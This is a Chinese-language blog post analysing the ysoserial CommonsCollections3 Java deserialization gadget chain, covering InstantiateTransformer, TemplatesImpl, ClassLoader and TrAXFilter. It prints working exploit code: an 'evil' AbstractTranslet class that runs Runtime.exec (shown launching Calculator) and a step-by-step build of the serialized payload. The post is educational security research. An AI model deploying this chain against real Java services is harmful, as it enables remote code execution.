YsoSerial 工具常用Payload分析之CC3(二)

9eek發表於2021-07-27

這是CC鏈分析的第二篇文章,我想按著common-collections的版本順序來介紹,所以順序為 cc1、3、5、6、7(common-collections 3.1),cc2、4(common-collections4)。

開啟YsoSerial payloads CommonsCollections3原始碼:

public Object getObject(final String command) throws Exception {
		Object templatesImpl = Gadgets.createTemplatesImpl(command);

		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(TrAXFilter.class),
				new InstantiateTransformer(
						new Class[] { Templates.class },
						new Object[] { templatesImpl } )};

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

和CC1 程式碼對比:

image-20210727102032876

只有 transformer生成邏輯不一樣, 使用到了三個新的關鍵類InstantiateTransformer、TrAXFilter、TemplatesImpl。 所以我們重點看下著三個新類是幹嘛的。

InstantiateTransformer

檢視原始碼:

image-20210727104945327

從transfomer可知,先通過反射 getConstructor 獲取傳入物件的構造器,然後通過 newInstance 方法例項化物件,這麼看InstantiateTransformer 近似與new。

寫個使用例子,存在一個PersonBean.java ,裡面的建構函式會列印我被初始化了。

public class PersonBean {

    public PersonBean(){
        System.out.println("我被初始化了");
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    private String name;
    private int age;
}

用InstantiateTransformer 的方式生成instantiateTransformer 物件,寫一個測試類方法

import org.apache.commons.collections.functors.InstantiateTransformer;

public class MainTrueTest {

    public static void main(String[] args) {
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{}, new Object[]{});
        instantiateTransformer.transform(PersonBean.class);
    }
}

結果,構造方法被執行:

image-20210727142301574

TemplatesImpl

這是一個JDK用於在處理xml檔案用到的類,在Java 8u251後不能使用, 具體這個類的說明,以及高版本不能使用的原因可以看P神的這一篇文章。https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

在之前用作命令執行的類是InvokerTransfomer,但在Common-collections爆出漏洞的時候很多黑名單都直接將InvokerTransfomer這個類拉黑了,所以需要尋找其他能夠直接執行命令的類,於是安全人員就找到了這個類,TemplatesImpl的應用非常廣泛,cc鏈2和3、fastjson不出網利用、jdk7u21等等,如果把Java反序列化漏洞比做一個考試的話,TemplatesImpl就肯定是個必考點。

前置知識——ClassLoader

先來了解一個前置知識,JVM在載入類的時候會用到ClassLoader,預設分為三種載入器:BootstrapClassLoader、 ExtClassLoader、 AppClassLoader 分別載入 Java 核心類庫、擴充套件類庫以及應用的類路徑( CLASSPATH)下的類庫,JVM通過雙親委派的機制進行類的載入,防止系統類被輕易篡改,我們也可以繼承java.lang.classloader 實現自己的類載入器。

其中ClassLoader提供了幾個重要的方法:

  • loadClass(String classname) 委派呼叫父級loadClass,沒找到就呼叫findClass()
  • findClass() ,搜尋類的位置,根據名稱載入class位元組碼檔案,呼叫defineClass()
  • defineClass(), 將位元組碼轉為class物件

呼叫順序 loadClass -> findClass() -> defineClass(),出了classLoader可以載入類外還可以用Class.forName,但存在區別,看程式碼:

image-20210727155313405

[[Ljava.util.ArrayList; 同樣是一個類陣列,Class.forName() 可以載入,loadClass不能,這也正是這兩點區別之一,也正是這個區別決定了Shiro不能直接用CC鏈去打。

TemplatesImpl利用

前面介紹了ClassLoader的三種載入類的方法,在TemplatesImpl程式碼299行也存在一個defineClass(),這個不亞於php中的eval,

image-20210727160432116

line:299對一個私有變數_bytecodes進行了載入,其中loader為一個自定義的TransletClassLoader裡面只重寫了defineClass。

  static final class TransletClassLoader extends ClassLoader {
	TransletClassLoader(ClassLoader parent) {
	    super(parent);
	}

        /**
         * Access to final protected superclass member from outer class.
         */
	Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
	}
    }

_bytecodes 可以通過反射的方式進行賦值,看一下 299所在方法為defineTransletClasses(), 共有三個地方呼叫該方法:

image-20210727161213497

其中getTransletInstance() 在呼叫 後,還進行了.newInstance()例項化操作。

image-20210727161404438

這樣類不但能被載入還能被例項化,滿足_name

不為null,但getTransletInstance() 是一個私有方法,繼續追蹤有誰在呼叫這個方法:

image-20210727161830813

public方法 newTransformer 有呼叫getTransletInstance(),那要把惡意類轉化為byte陣列賦值給_bytecodes 並呼叫newTransformer方法即可完成命令執行。

整理下命令執行的條件:

  • 有地方呼叫newTransformer()
  • _name 不為null
  • 惡意類的父類為org.apache.xalan.xsltc.runtime.AbstractTranslet

image-20210727162740189

image-20210727162754324

用自己的程式碼做下實驗。

  1. 準備一個惡意類,繼承AbstractTranslet
package expUtils;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

/*
* 供TemplatesImpl 使用的poc程式碼
* */
public class TemplatesEvilClass extends AbstractTranslet {
    private static final String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
    static {
//        攻擊程式碼
        System.out.println("static : pwn!");
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public TemplatesEvilClass(){
//        攻擊程式碼
        System.out.println("constructor: pwn!");
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}
  1. 基於惡意類生成惡意TemplatesImpl物件
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import expUtils.ReflectUtils;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;

import static expUtils.ReflectUtils.getClassByte;

public class Test3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        ReflectUtils.setFields(templates,"_name","9eek");
        byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class");  // 將檔案位元組碼轉為byte[]
        byte[][] templatesEvilCode = new byte[][]{evilCode};
        ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);

        templates.newTransformer();  // 驗證程式碼執行
    }
}

惡意程式碼成功執行:

image-20210727164953603

這裡其實有一個疑問,在cc3和其他使用TemplatesImpl利用的地方都會將_tfactory 賦值,目前我還不清楚為啥要這麼做。

TrAXFilter

這個類是對XMLFilter的實現,而XMLFilter又是繼承與XMLReader,那大概知道,可能是拿來做xml讀取使用的,我們找到這個類的建構函式:

image-20210727171557726

在建構函式中需要傳入一個TransformerImpl物件,然後在 在建構函式中會對TransformerImpl執行newTransformer()方法,這就和前面介紹的InstantiateTransformer和TemplatesImpl 結合了起來,我們只需要將CC1鏈中的InvokerTransformer換成InstantiateTransformer,將TrAXFilter賦給InstantiateTransformer.transformer的輸入即可。

實現

我們自己實現一下:

第一步,生成惡意TemplatesImpl物件:

//        第一步 生成惡意TemplatesImpl 物件
        TemplatesImpl templates = new TemplatesImpl();
        ReflectUtils.setFields(templates,"_name","9eek");
        byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class");  // 將檔案位元組碼轉為byte[]
        byte[][] templatesEvilCode = new byte[][]{evilCode};
        ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);

第二步 生成惡意chainTransformer

//        第二步 生成惡意chainTransformer
        Transformer[] transformers= new Transformer[]{
          new ConstantTransformer(TrAXFilter.class),
          new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(null);

第三步 繫結到動態代理增強到AnnotationInvocationHandler上

		// 第三步
		HashMap<string,string> hashMap = new HashMap<>();
        hashMap.put("testKey","testVal");
        Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor =  clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap);  // 傳入lazyMap

        Map evilLazyMap = (Map) Proxy.newProxyInstance(Test2.class.getClassLoader(),evilMap.getClass().getInterfaces(),evilHandler);
        InvocationHandler finalEvilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilLazyMap);  // 傳入代理lazyMap

第四步 反序列化觸發

        String path = ExpUtils.serialize(finalEvilHandler);
        ExpUtils.unserialize(path);

執行結果:

image-20210727182549278

成功觸發。

總結

CC3其實和CC1觸發過程的後半段基本一致,區別在於前面生產transfomer陣列使用的是TrAXFilter和TelmplatesImpl,可以在InvokerTransformer被拉黑的情況下,使用CC3。

</string,string>

相關文章